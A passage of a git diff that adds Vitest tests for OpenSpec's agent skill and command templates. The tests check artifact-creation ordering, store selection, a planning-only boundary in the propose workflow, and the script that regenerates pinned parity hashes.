under `openspec/changes/` by hand' + ); + expect(transition, label).toContain('`.openspec.yaml`'); + expect(transition, label).not.toContain( + 'Never create files or directories directly under `openspec/changes/`' + ); + } + }); + + it('retains the selected store throughout the capture transition (#668, #720)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + const scaffold = transition.indexOf('1. Run `openspec new change "<name>"`'); + const retainStore = transition.indexOf( + 'Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command' + ); + const initialStatus = transition.indexOf( + '2. Run `openspec status --change "<name>" --json`' + ); + + expect(retainStore, label).toBeGreaterThan(scaffold); + expect(initialStatus, label).toBeGreaterThan(retainStore); + expect( + occurrenceCount( + transition, + '(append the confirmed `--store "<id>"` only for a registered standalone store)' + ), + label + ).toBe(5); + } + }); + + it('continues an accepted transition through the requested artifact (#668)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + + expect(transition, label).toContain('openspec status --change "<name>" --json'); + expect(transition, label).toContain( + 'openspec instructions "<artifact-id>" --change "<name>" --json' + ); + expect(transition, label).toContain('Capture the artifact(s) the user requested'); + expect(transition, label).toContain( + 'without asking them to invoke another workflow command' + ); + expect(transition, label).toContain( + 'process the requested artifacts in dependency order' + ); + expect(transition, label).toContain( + 'After creating each artifact, re-run `openspec status --change "<name>" --json`' + ); + expect(transition, label).toContain( + 'If the instruction delegates creation to a specific skill or command' + ); + expect(transition, label).toContain( + 'Verify that the selected concrete output exists' + ); + } + }); + + it('keeps the seamless capture steps ordered (#668, #720)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + const scaffold = transition.indexOf('1. Run `openspec new change "<name>"`'); + const initialStatus = transition.indexOf( + '2. Run `openspec status --change "<name>" --json`' + ); + const readyInstructions = transition.indexOf( + 'For each requested artifact that is `ready`, run `openspec instructions' + ); + const verifyOutput = transition.indexOf( + 'Verify that the selected concrete output exists' + ); + const refreshStatus = transition.indexOf( + 'After creating each artifact, re-run `openspec status' + ); + + expect(scaffold, label).toBeGreaterThanOrEqual(0); + expect(initialStatus, label).toBeGreaterThan(scaffold); + expect(readyInstructions, label).toBeGreaterThan(initialStatus); + expect(verifyOutput, label).toBeGreaterThan(readyInstructions); + expect(refreshStatus, label).toBeGreaterThan(verifyOutput); + expect(occurrenceCount(transition, 'openspec new change "<name>"'), label).toBe(1); + expect( + occurrenceCount(transition, 'openspec status --change "<name>" --json'), + label + ).toBe(2); + expect( + occurrenceCount(transition, 'openspec instructions "<artifact-id>"'), + label + ).toBe(2); + expect( + occurrenceCount(transition, 'openspec instructions "<prerequisite-id>"'), + label + ).toBe(1); + expect( + occurrenceCount(transition, 'Verify that the selected concrete output exists'), + label + ).toBe(1); + expect( + occurrenceCount(transition, 'After creating each artifact, re-run `openspec status'), + label + ).toBe(1); + } + }); + + it('stops after scaffolding when the user requests only a new change (#668)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + expect(transition, label).toContain( + 'If they asked only to start a change, stop after scaffolding and show its status' + ); + } + }); + + it('uses dependency context and artifact constraints during capture (#668)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + + expect(transition, label).toContain( + 'Read completed dependency files listed in `dependencies`' + ); + expect(transition, label).toContain('apply `context` and `rules` as constraints'); + expect(transition, label).toContain('without copying them into the artifact'); + } + }); + + it('handles conditional prerequisites without deadlocking capture (#668)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + const requestedInstructions = transition.indexOf( + 'For each requested artifact that is `ready`, run `openspec instructions' + ); + const evaluateRequestedCondition = transition.indexOf( + 'Before creating a requested artifact, evaluate any condition in its own `instruction`' + ); + const inspectPrerequisite = transition.indexOf( + 'run `openspec instructions "<prerequisite-id>"' + ); + const evaluateCondition = transition.indexOf( + 'evaluate that condition against the explored change' + ); + const recordSkip = transition.indexOf( + 'record a deliberate skip only when the condition does not apply' + ); + const requireExpansion = transition.indexOf( + 'If the condition applies, or the prerequisite is not conditional' + ); + const approvalGuard = transition.indexOf( + 'Do not create an unrequested prerequisite unless the user approves' + ); + + expect(transition, label).toContain( + 'run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`' + ); + expect(transition, label).toContain( + 'record a deliberate skip instead when the condition does not apply' + ); + expect(transition, label).toContain( + 'record a deliberate skip only when the condition does not apply' + ); + expect(transition, label).toContain( + 'If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite' + ); + expect(transition, label).toContain('Do not create an unrequested prerequisite'); + expect(transition, label).toContain( + 'deliberately skipped because its own `instruction` stated a condition that did not apply' + ); + expect(transition, label).toContain('remember it, and do not reconsider it'); + expect(transition, label).toContain('Dependencies are enablers, not gates'); + expect(transition, label).toContain( + 'run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status' + ); + expect(transition, label).toContain( + 'only when those recorded conditional skips are its sole missing dependencies' + ); + expect(transition, label).toContain('cannot be conditionally skipped'); + expect(requestedInstructions, label).toBeGreaterThanOrEqual(0); + expect(evaluateRequestedCondition, label).toBeGreaterThan(requestedInstructions); + expect(inspectPrerequisite, label).toBeGreaterThan(evaluateRequestedCondition); + expect(evaluateCondition, label).toBeGreaterThan(inspectPrerequisite); + expect(recordSkip, label).toBeGreaterThan(evaluateCondition); + expect(requireExpansion, label).toBeGreaterThan(recordSkip); + expect(approvalGuard, label).toBeGreaterThan(requireExpansion); + } + }); +}); diff --git a/test/core/templates/parity-hash-shared.test.ts b/test/core/templates/parity-hash-shared.test.ts new file mode 100644 index 0000000000..6a92b9b37d --- /dev/null +++ b/test/core/templates/parity-hash-shared.test.ts @@ -0,0 +1,171 @@ +import { describe, expect, it } from 'vitest'; + +// @ts-expect-error - plain ESM helper shared with the regeneration script +import { rewriteParityHashes } from '../../../scripts/parity-hash-shared.mjs'; + +// Guards for scripts/regen-parity-hashes.mjs. Every case here uses fabricated +// input: running the real script would rewrite the repository's own +// skill-templates-parity.test.ts on disk mid-suite, and a failure part-way +// through would leave those hashes committed by the next `git add -A`. +// +// Each case corresponds to a way an earlier revision of the script reported +// "nothing to update" while leaving a pin stale, or refused to run at all. + +const OLD = 'a'.repeat(64); +const NEW = 'b'.repeat(64); +const OTHER = 'c'.repeat(64); + +/** Resolvers that answer for exactly the labels a fixture pins. */ +function resolvers( + fns: Record<string, string> = {}, + dirs: Record<string, string> = {}, + knownContentKeys: string[] = Object.keys(dirs) +) { + return { + resolveFunctionHash: (name: string) => fns[name], + resolveContentHash: (dirName: string) => dirs[dirName], + knownContentKeys, + sourceLabel: 'fixture', + }; +} + +describe('parity hash rewriting', () => { + it('rewrites a stale function pin and reports it moved', () => { + const src = `const M = {\n getFooTemplate: '${OLD}',\n};\n`; + const result = rewriteParityHashes(src, resolvers({ getFooTemplate: NEW })); + + expect(result.source).toContain(`getFooTemplate: '${NEW}',`); + expect(result.moved).toEqual(['getFooTemplate']); + }); + + it('rewrites a stale generated-content pin and reports it moved', () => { + const src = `const M = {\n 'openspec-foo-bar': '${OLD}',\n};\n`; + const result = rewriteParityHashes(src, resolvers({}, { 'openspec-foo-bar': NEW })); + + expect(result.source).toContain(`'openspec-foo-bar': '${NEW}',`); + expect(result.moved).toEqual(['openspec-foo-bar']); + }); + + it('leaves an already-correct pin untouched and reports nothing moved', () => { + const src = `const M = {\n getFooTemplate: '${OLD}',\n};\n`; + const result = rewriteParityHashes(src, resolvers({ getFooTemplate: OLD })); + + expect(result.source).toBe(src); + expect(result.moved).toEqual([]); + }); + + // A map's last entry may legally omit its trailing comma, and a reformat + // produces exactly that. Requiring the comma silently skipped such a pin + // while the run reported success. + it('rewrites a pin with no trailing comma and keeps it comma-less', () => { + const src = `const M = {\n getFooTemplate: '${OLD}'\n};\n`; + const result = rewriteParityHashes(src, resolvers({ getFooTemplate: NEW })); + + expect(result.source).toContain(`getFooTemplate: '${NEW}'\n`); + expect(result.source).not.toContain(`'${NEW}',`); + expect(result.moved).toEqual(['getFooTemplate']); + }); + + it('preserves a trailing comma when the pin has one', () => { + const src = `const M = {\n getFooTemplate: '${OLD}',\n getBarTemplate: '${OTHER}',\n};\n`; + const result = rewriteParityHashes( + src, + resolvers({ getFooTemplate: NEW, getBarTemplate: OTHER }) + ); + + expect(result.source).toContain(`getFooTemplate: '${NEW}',\n`); + expect(result.moved).toEqual(['getFooTemplate']); + }); + + // test/** carries no `text eol=lf` attribute, so a Windows checkout delivers + // CRLF. Anchoring on $ alone matched nothing there and the run aborted. + it('round-trips CRLF line endings unchanged', () => { + const src = `const M = {\r\n getFooTemplate: '${OLD}',\r\n 'openspec-foo': '${OTHER}',\r\n};\r\n`; + const result = rewriteParityHashes( + src, + resolvers({ getFooTemplate: NEW }, { 'openspec-foo': OTHER }) + ); + + expect(result.source).toContain(`getFooTemplate: '${NEW}',\r\n`); + expect(result.source.split('\n').length).toBe(src.split('\n').length); + expect(result.source).not.toMatch(/[^\r]\n/); + }); + + it('throws when a function pin names something that no longer exists', () => { + const src = `const M = {\n getGoneTemplate: '${OLD}',\n};\n`; + + expect(() => rewriteParityHashes(src, resolvers())).toThrow(/getGoneTemplate is pinned/); + }); + + it('throws when a generated-content pin names a directory that no longer exists', () => { + const src = `const M = {\n 'openspec-gone': '${OLD}',\n};\n`; + + expect(() => rewriteParityHashes(src, resolvers())).toThrow(/'openspec-gone' is pinned/); + }); + + // The count is taken with a broader pattern than the rewriters on purpose: + // derived from the same patterns, a line they miss would vanish from both + // sides and prove nothing. + it('throws when a pin is formatted in a way the patterns do not match', () => { + const src = `const M = {\n 'getFooTemplate': '${OLD}',\n};\n`; + + expect(() => rewriteParityHashes(src, resolvers({ getFooTemplate: NEW }))).toThrow( + /Rewrote 0 of 1 64-hex literals in fixture/ + ); + }); + + it('throws when the file gains a 64-hex literal that is not a pin', () => { + const src = `const UNRELATED = '${OTHER}';\nconst M = {\n getFooTemplate: '${OLD}',\n};\n`; + + expect(() => rewriteParityHashes(src, resolvers({ getFooTemplate: NEW }))).toThrow( + /Rewrote 1 of 2 64-hex literals/ + ); + }); + + // A workflow added to getSkillTemplates() but never pinned is invisible to the + // checks above (they only see pins that exist) and to the parity test (it + // compares only the entries it lists), so it would ship with no golden hash + // while the run reported success. + it('throws when the registry deploys a skill that is not pinned', () => { + const src = `const M = {\n 'openspec-foo': '${OLD}',\n};\n`; + + expect(() => + rewriteParityHashes( + src, + resolvers({}, { 'openspec-foo': OLD, 'openspec-brand-new': NEW }, [ + 'openspec-foo', + 'openspec-brand-new', + ]) + ) + ).toThrow(/openspec-brand-new/); + }); + + it('names every unpinned skill, not just the first', () => { + const src = `const M = {\n 'openspec-foo': '${OLD}',\n};\n`; + + expect(() => + rewriteParityHashes( + src, + resolvers({}, { 'openspec-foo': OLD }, ['openspec-foo', 'openspec-aaa', 'openspec-bbb']) + ) + ).toThrow(/openspec-aaa[\s\S]*openspec-bbb/); + }); + + it('accepts a registry fully covered by pins', () => { + const src = `const M = {\n 'openspec-foo': '${OLD}',\n};\n`; + const result = rewriteParityHashes( + src, + resolvers({}, { 'openspec-foo': NEW }, ['openspec-foo']) + ); + + expect(result.moved).toEqual(['openspec-foo']); + }); + + it('names both causes when the counts disagree, since either is possible', () => { + const src = `const UNRELATED = '${OTHER}';\nconst M = {\n getFooTemplate: '${OLD}',\n};\n`; + + expect(() => rewriteParityHashes(src, resolvers({ getFooTemplate: NEW }))).toThrow( + /widen them[\s\S]*not a pin/ + ); + }); +}); diff --git a/test/core/templates/propose.test.ts b/test/core/templates/propose.test.ts new file mode 100644 index 0000000000..e88c8d7786 --- /dev/null +++ b/test/core/templates/propose.test.ts @@ -0,0 +1,383 @@ +import path from 'path'; +import { fileURLToPath } from 'url'; +import { describe, expect, it } from 'vitest'; + +import { + getOpsxProposeSkillTemplate, + getOpsxProposeCommandTemplate, + getFfChangeSkillTemplate, + getOpsxFfCommandTemplate, +} from '../../../src/core/templates/skill-templates.js'; +import { generateSkillContent } from '../../../src/core/shared/skill-generation.js'; +import { loadSchema } from '../../../src/core/artifact-graph/schema.js'; +import { CommandAdapterRegistry } from '../../../src/core/command-generation/registry.js'; +import { generateCommand } from '../../../src/core/command-generation/generator.js'; +import { + formatCommandInvocation, + getInvocationForAdapter, +} from '../../../src/core/command-generation/invocation.js'; +import { getCommandContents } from '../../../src/core/shared/skill-generation.js'; + +const proposeSkillBody = getOpsxProposeSkillTemplate().instructions; +const proposeCommandBody = getOpsxProposeCommandTemplate().content; +const proposeBodies: Array<[string, string]> = [ + ['propose skill', generateSkillContent(getOpsxProposeSkillTemplate(), 'TEST')], + ['propose command', getOpsxProposeCommandTemplate().content], +]; + +// ff runs the byte-identical artifact loop, so it carries the identical guards. +const loopBodies: Array<[string, string]> = [ + ...proposeBodies, + ['ff skill', getFfChangeSkillTemplate().instructions], + ['ff command', getOpsxFfCommandTemplate().content], +]; + +const repoRoot = path.resolve(fileURLToPath(new URL('.', import.meta.url)), '../../..'); +const defaultSchema = loadSchema(path.join(repoRoot, 'schemas', 'spec-driven', 'schema.yaml')); + +/** The opening list that tells the agent which artifacts propose will produce. */ +function artifactPreamble(body: string): string { + const start = body.indexOf("I'll create a change with"); + const end = body.indexOf('When the user is ready to implement'); + expect(start).toBeGreaterThanOrEqual(0); + expect(end).toBeGreaterThan(start); + return body.slice(start, end); +} + +describe('propose preamble', () => { + // #788/#1260: the preamble advertised proposal/design/tasks only, so agents + // treated specs as optional and produced changes with no spec at all. + // Derived from the schema so a new artifact cannot go unadvertised. + it('advertises every artifact the default schema defines (#788, #1260)', () => { + const ids = defaultSchema.artifacts.map(artifact => artifact.id); + expect(ids).toContain('specs'); + + for (const [label, body] of proposeBodies) { + const preamble = artifactPreamble(body); + for (const id of ids) { + expect(preamble, `${label} preamble is missing the "${id}" artifact`).toContain(id); + } + } + }); +}); + +describe('propose implementation boundary', () => { + it('makes the planning-only boundary prominent (#232, #258, #262)', () => { + for (const [label, body] of proposeBodies) { + const boundary = body.indexOf('**Planning boundary**'); + const steps = body.indexOf('**Steps**'); + expect(boundary, `${label} is missing its planning boundary`).toBeGreaterThanOrEqual(0); + expect(boundary, `${label} boundary should appear before its steps`).toBeLessThan(steps); + expect(body, label).toContain( + 'The user request that selected or triggered this workflow authorizes planning only' + ); + expect(body, label).toContain('Do not edit project code'); + } + }); + + it('ends by requiring a separate apply workflow (#258, #262)', () => { + for (const [label, body] of proposeBodies) { + expect(body, label).toContain( + 'The request that invoked this workflow authorizes planning only' + ); + expect(body, label).toContain('Do NOT implement the change'); + expect(body, label).toContain('edit project code'); + expect(body, label).toContain( + 'Do not start implementation in the same response' + ); + expect(body, label).toContain( + 'Any implementation or apply instruction in that request does not carry forward' + ); + expect(body, label).toContain( + 'wait for a new user request to start the apply workflow' + ); + expect( + body.lastIndexOf('After presenting the artifacts, stop'), + `${label} should end with its stop guard` + ).toBeGreaterThan(body.indexOf('**Output**')); + } + }); + + it('asks before resolving ambiguity that could change user-visible outcomes (#258)', () => { + for (const [label, body] of proposeBodies) { + expect(body, label).toContain( + 'scope, externally observable behavior, compatibility, or acceptance criteria' + ); + expect(body, label).toContain('ask the user before creating the change'); + expect(body, label).toContain( + 'For minor details, make a reasonable assumption and record it in the planning artifacts' + ); + expect(body.indexOf('ask the user before creating the change'), label) + .toBeLessThan(body.indexOf('**Create the change directory**')); + } + }); + + it('hands command-only tools to apply instead of advertising direct coding (#258)', () => { + expect(proposeCommandBody).toContain('When you are ready, run `/opsx:apply`.'); + expect(proposeCommandBody).not.toContain('ask me to implement'); + expect(proposeCommandBody).not.toContain('ask me to apply this change'); + + expect(proposeSkillBody).toContain( + 'run `/opsx:apply` or ask me to apply this change' + ); + expect(proposeSkillBody).not.toContain('ask me to implement'); + }); + + it('preserves both boundaries through every command adapter', () => { + const propose = getCommandContents(['propose'])[0]; + expect(propose?.id).toBe('propose'); + + for (const adapter of CommandAdapterRegistry.getAll()) { + const generated = generateCommand(propose, adapter).fileContent; + const applyInvocation = formatCommandInvocation( + getInvocationForAdapter(adapter), + 'apply' + ); + expect(generated, adapter.toolId).toContain( + 'selected or triggered this workflow authorizes planning only' + ); + expect(generated, adapter.toolId).toContain('Do NOT implement the change'); + expect(generated, adapter.toolId).toContain( + 'Do not start implementation in the same response' + ); + expect(generated, adapter.toolId).toContain( + 'Any implementation or apply instruction in that request does not carry forward' + ); + expect(generated, adapter.toolId).toContain( + 'wait for a new user request to start the apply workflow' + ); + expect(generated, adapter.toolId).toContain( + `When you are ready, run \`${applyInvocation}\`.` + ); + expect(generated, adapter.toolId).not.toContain('ask me to implement'); + } + }); +}); + +describe('propose schema selection', () => { + // #770: the CLI and new workflow already accept an explicit schema, but + // propose used to discard that request and always create with the default. + it('shows both concrete creation forms after an explicit schema choice (#770)', () => { + for (const [label, body] of proposeBodies) { + const schemaStep = body.indexOf('**Determine the workflow schema**'); + const createStep = body.indexOf('**Create the change directory**'); + const statusStep = body.indexOf('**Get the artifact build order**'); + + expect(schemaStep, `${label} is missing schema selection`).toBeGreaterThanOrEqual(0); + expect(createStep, `${label} is missing change creation`).toBeGreaterThan(schemaStep); + expect(statusStep, `${label} is missing status lookup`).toBeGreaterThan(createStep); + + const createSection = body.slice(createStep, statusStep); + expect(createSection, label).toMatch(/^\s*openspec new change "<name>"\s*$/m); + expect(createSection, label).toMatch( + /^\s*openspec new change "<name>" --schema "<schema-name>"\s*$/m + ); + expect(createSection, label).toContain( + 'If a registered store is selected, append `--store "<store-id>"` to that command and each later OpenSpec command shown below that accepts `--store`' + ); + expect(createSection, label).not.toContain('every follow-up command'); + } + }); + + it('discovers schemas from the authoritative project or store root', () => { + for (const [label, body] of proposeBodies) { + const schemaStep = body.indexOf('**Determine the workflow schema**'); + const createStep = body.indexOf('**Create the change directory**'); + const schemaSection = body.slice(schemaStep, createStep); + + expect(schemaSection, label).toContain('Use the configured default schema'); + expect(schemaSection, label).toContain('Explicitly requests a specific schema by name'); + const contextCommand = schemaSection.indexOf('`openspec context --json`'); + const schemasCommand = schemaSection.indexOf('`openspec schemas --json`'); + expect(contextCommand, `${label} is missing root resolution`).toBeGreaterThanOrEqual(0); + expect(schemasCommand, `${label} lists schemas before resolving the root`).toBeGreaterThan( + contextCommand + ); + expect(schemaSection, label).toContain('from the current working directory'); + expect(schemaSection, label).toContain( + '`openspec context --json --store "<store-id>"`' + ); + expect(schemaSection, label).toContain( + 'run `openspec schemas --json` with its working directory' + ); + expect(schemaSection, label).toContain('returned `root.path`'); + expect(schemaSection, label).toContain('local `store:` pointer'); + expect(schemaSection, label).toContain('global `defaultStore`'); + expect(schemaSection, label).toContain('`schemas` does not accept `--store`'); + expect(schemaSection, label).toContain('context reports only `no_openspec_root`'); + expect(schemaSection, label).toContain( + 'run `openspec schemas --json` from the current working directory instead' + ); + expect(schemaSection, label).toContain( + 'Do not use this fallback for invalid or unavailable stores' + ); + expect(schemaSection, label).toContain( + 'Otherwise, omit `--schema` to preserve the configured default' + ); + } + }); +}); + +describe('artifact loop guards (propose and ff)', () => { + // `status` is file-existence based (detectCompleted), so writing tasks.md before + // specs flips tasks to done and satisfies a bare applyRequires stop condition + // with specs never created. That is the #1260 failure chain. + it('warns that a done applyRequires artifact does not imply its deps exist (#788, #1260)', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toMatch(/file-existence only/i); + expect(body, label).toMatch(/does NOT mean its dependencies exist/i); + } + }); + + // Scoped to the applyRequires closure, not to every `ready` artifact: a custom + // schema may define artifacts outside it (e.g. a post-implementation retro) + // that propose has no business creating. + it('scopes the required set to the applyRequires dependency closure', () => { + for (const [label, body] of loopBodies) { + // Names the seed the walk starts from (`from those`) so an agent cannot + // read it as "every artifact that has requires edges" = the whole list. + expect(body, label).toContain('reachable from those by following the `requires` edges'); + // Points at status --json specifically (instructions calls the edges `dependencies`). + expect(body, label).toContain('in `status --json`'); + expect(body, label).toContain('walk them transitively'); + expect(body, label).toContain('Leave artifacts outside that set alone'); + } + }); + + // alfred's PR #1412 blocker: `status --json` must carry the `requires` edges, + // and the loop must derive the set from those edges rather than from `status`. + // A `done` artifact hides nothing about its deps if the agent reads its edges. + it('builds the required set from requires edges, not from status (#1412 review)', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + "Use each artifact's `requires` edges, not its `status`, to build the required set" + ); + expect(body, label).toContain('a `done` artifact still lists what it depends on'); + } + }); + + // The status-JSON parse list must document the `requires` field the loop relies on. + it('documents the requires edges in the status JSON it tells the agent to parse', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'each with its `status` and its `requires` edges' + ); + } + }); + + it('creates every missing artifact in the set and re-checks for cascades', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain('Create every artifact in the required set that is missing'); + expect(body, label).toMatch(/re-check - creating one can unblock others/i); + } + }); + + // specs must not be skippable on the agent's own judgment. "Required" is not + // machine-readable (the graph has tasks requiring both specs and design), but + // the artifact's own instruction is: spec-driven's design says "create only if + // any apply", specs says nothing of the kind. The one legitimate way to skip + // specs is the `skipped` status the CLI reports for a change declaring + // `skip_specs` (#1399) — a decision the tool makes, never the agent. + it('permits skipping only artifacts their own instruction marks conditional', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'or when its own `instruction` says it is conditional' + ); + expect(body, label).toContain('do not reconsider it'); + } + }); + + // The skip_specs carve-out must stay explicit in the loop: an artifact the CLI + // already reports as `skipped` is satisfied and must never be written, or the + // agent creates spec files that `openspec validate` then rejects as + // conflicting with the marker (#1399). + it('treats a `skipped` status as satisfied and never creates it (#1399)', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain('status: "skipped"'); + expect(body, label).toContain('its files must NOT exist'); + } + }); + + // The skip decision hinges on reading the artifact's `instruction` field, so + // the loop must explicitly tell the agent to fetch it before skipping - + // otherwise a momentum-driven agent can skip specs without ever checking. + it('makes the agent fetch and read the instruction field before skipping', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'run `openspec instructions <artifact-id> --change "<name>" --json` and skip only if its `instruction` field marks it optional' + ); + expect(body, label).toContain('never by your own judgment'); + } + }); + + // The 4b heading must not re-state the buggy stop condition (apply.requires + // alone); it has to point the agent at the whole required set. + it('frames the loop around the required set, not apply.requires alone', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'Continue until every artifact in the required set exists (not just `apply.requires`)' + ); + expect(body, label).not.toContain( + 'Continue until every artifact the apply phase depends on exists' + ); + } + }); + + // The artifact-creation TITLE must not use "apply-ready" either: in the + // prewritten-tasks case the change is already apply-ready when this step + // begins, so a title of + // "create ... until apply-ready" invites the exact early-stop this PR kills. + it('titles the create step around the required set, not "apply-ready"', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain('**Create every artifact in the required set**'); + expect(body, label).not.toContain('Create artifacts in sequence until apply-ready'); + expect(body, label).not.toMatch(/^\s*4\.\s.*apply-ready/m); + } + }); + + // Without this the loop deadlocks: skipping design leaves tasks blocked + // forever, no artifact is ready, and the stop condition can never be met. + // docs/concepts.md: "Dependencies are enablers, not gates." + it('authorizes writing a blocked artifact whose only blocker was skipped', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain('Dependencies are enablers, not gates'); + expect(body, label).toMatch( + /still `blocked` only because you skipped a conditional dependency, write it anyway/ + ); + } + }); + + // The stop condition must cover the whole required set. A bare "stop when + // applyRequires is done" is the lenient rule #1260 blames. + it('stops on the whole required set, not on applyRequires alone', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'Stop when every artifact in the required set is `done`, `skipped`, or was deliberately skipped' + ); + expect(body, label).not.toContain('Stop when all `applyRequires` artifacts are done'); + } + }); + + // The Guardrails section used to define completeness as `apply.requires`, + // which is exactly the premise this fix refutes. + it('does not define completeness as apply.requires in the guardrails', () => { + for (const [label, body] of loopBodies) { + expect(body, label).not.toMatch( + /Create ALL artifacts needed for implementation \(as defined by schema's `apply\.requires`\)/ + ); + expect(body, label).toContain( + 'Create every artifact the apply phase transitively depends on' + ); + } + }); + + // specs `generates` a glob (specs/**/*.md), so an agent told only to "write it + // to resolvedOutputPath" would create a directory literally named `**`. + it('tells the agent how to resolve a glob output path', () => { + for (const [label, body] of loopBodies) { + expect(body, label).toContain( + 'is a glob, follow `instruction` to choose the concrete file path' + ); + } + }); +}); diff --git a/test/core/templates/skill-templates-parity.test.ts b/test/core/templates/skill-templates-parity.test.ts index 9c2f798c70..e0a1995752 100644 --- a/test/core/templates/skill-templates-parity.test.ts +++ b/test/core/templates/skill-templates-parity.test.ts @@ -3,6 +3,7 @@ import { describe, expect, it } from 'vitest'; import { type SkillTemplate, + getApplyInstructions, getApplyChangeSkillTemplate, getArchiveChangeSkillTemplate, getBulkArchiveChangeSkillTemplate, @@ -23,52 +24,79 @@ import { getOpsxSyncCommandTemplate, getOpsxProposeCommandTemplate, getOpsxProposeSkillTemplate, + getOpsxUpdateCommandTemplate, getOpsxVerifyCommandTemplate, getSyncSpecsSkillTemplate, + getUpdateChangeSkillTemplate, getVerifyChangeSkillTemplate, } from '../../../src/core/templates/skill-templates.js'; -import { generateSkillContent } from '../../../src/core/shared/skill-generation.js'; +import { + generateSkillContent, + getCommandContents, + getSkillTemplates, +} from '../../../src/core/shared/skill-generation.js'; +import { STORE_SELECTION_GUIDANCE } from '../../../src/core/templates/workflows/store-selection.js'; const EXPECTED_FUNCTION_HASHES: Record<string, string> = { - getExploreSkillTemplate: '3f73b4d7ab189ef6367fccc9d99308bee35c6a89dae4c8044582a01cb01b335b', - getNewChangeSkillTemplate: '5989672758eccf54e3bb554ab97f2c129a192b12bbb7688cc1ffcf6bccb1ae9d', - getContinueChangeSkillTemplate: 'f2e413f0333dfd6641cc2bd1a189273fdea5c399eecdde98ef528b5216f097b3', - getApplyChangeSkillTemplate: '6238712ba8cd2fd099c4f3bac13436f758fc6ac776fb8be19547f2b195240bfd', - getFfChangeSkillTemplate: 'a7332fb14c8dc3f9dec71f5d332790b4a8488191e7db4ab6132ccbefecf9ded9', - getSyncSpecsSkillTemplate: 'bded184e4c345619148de2c0ad80a5b527d4ffe45c87cc785889b9329e0f465b', - getOnboardSkillTemplate: 'c9e719a02d2ae7f74a0e978f9ad4e767c1921248a9e3724c3321c58a15c38ba9', - getOpsxExploreCommandTemplate: 'b421b88c7a532385f7b1404736d7893eb35a05573b4a04a96f72379ac1bbf148', - getOpsxNewCommandTemplate: '62eee32d6d81a376e7be845d0891e28e6262ad07482f9bfe6af12a9f0366c364', - getOpsxContinueCommandTemplate: '8bbaedcc95287f9e822572608137df4f49ad54cedfb08d3342d0d1c4e9716caa', - getOpsxApplyCommandTemplate: 'f59cfe9482a1b29f64b9cd7396397991a2f00a5cb1abde4ab8b4757acf1678b9', - getOpsxFfCommandTemplate: 'cdebe872cc8e0fcc25c8864b98ffd66a93484c0657db94bd1285b8113092702a', - getArchiveChangeSkillTemplate: '6f8ca383fdb5a4eb9872aca81e07bf0ba7f25e4de8617d7a047ca914ca7f14b9', - getBulkArchiveChangeSkillTemplate: '8049897ce1ddb2ff6c0d4b72e22636f9ecfd083b5f2c2a30cf3bb1cb828a2f93', - getOpsxSyncCommandTemplate: '378d035fe7cc30be3e027b66dcc4b8afc78ef1c8369c39479c9b05a582fb5ccf', - getVerifyChangeSkillTemplate: '40dde29051a0ba204295b74e49e87b6e9ff30c8b89ff0e791b4f955b4595de59', - getOpsxArchiveCommandTemplate: 'b44cc9748109f61687f9f596604b037bc3ea803abc143b22f09a76aebd98b493', - getOpsxOnboardCommandTemplate: 'fce531f952e939ee85a41848fc21e4cc720b0f3eb62737adc3a51ee6ad2dfc57', - getOpsxBulkArchiveCommandTemplate: '0d77c82de43840a28c74f5181cb21e33b9a9d00454adf4bc92bdc9e69817d6f5', - getOpsxVerifyCommandTemplate: 'd7c0444863faabb16abb091bc40ee56d985ae4bfa9a4db1e622ca8ba03c32fed', - getOpsxProposeSkillTemplate: 'd67f937d44650e9c61d2158c865309fbab23cb3f50a3d4868a640a97776e3999', - getOpsxProposeCommandTemplate: '41ad59b37eafd7a161bab5c6e41997a37368f9c90b194451295ede5cd42e4d46', + getExploreSkillTemplate: 'fec38ba01c5c20695aca0ec7eff78c26e278ead21459cab8ec1562af51053427', + getNewChangeSkillTemplate: '935f6335e2d4b7d1bd4f0538c88386350c25e8b16e11b627556262229583ca51', + getContinueChangeSkillTemplate: 'ed41e2356af7aad6ef760f60fad19c6843cefe436d8f90084dcba4dbc6bf7272', + getApplyChangeSkillTemplate: '0de84d3e414c0bc72b21a47384257a1b3bc754336538e245db55af307d7eda99', + getFfChangeSkillTemplate: 'fc2a45a08533ee9c7ab30fdab5f832b7d440070048e2a153f03db1620dc379bb', + getSyncSpecsSkillTemplate: 'd43b112a3c74bc951b094d220c8e75cca26bb00640d404b78af0752af1ff7bd9', + getOnboardSkillTemplate: 'a9f6134b187ec4f3a5aa6c7c181e51a15fec11b7ac1044a076fdfe79b47fbc80', + getOpsxExploreCommandTemplate: 'e2d470148708a9070675edddd1e783f1c71c96625d08cff4fe7a9994e0d292c0', + getOpsxNewCommandTemplate: '08e784e52ac2c146975a874257c589d88e93efbd83dc4d79253c8525f5c3064f', + getOpsxContinueCommandTemplate: 'ae964cd00f6ca332fd7f9428a577ade75be279f50431d5f60ece8172e8d1a4b1', + getOpsxApplyCommandTemplate: 'd27ad905657dd3797571eccee2b6416495fa9b39759d36b43a9871a301757979', + getOpsxFfCommandTemplate: '012610f85576a7055dfec2aaabba6bfc245454ce91fb6214587ae9316dc2b864', + getArchiveChangeSkillTemplate: '5ef19163f73997fdda1c69dc8bca710c16c50b052b481821d916f4084bb42a64', + 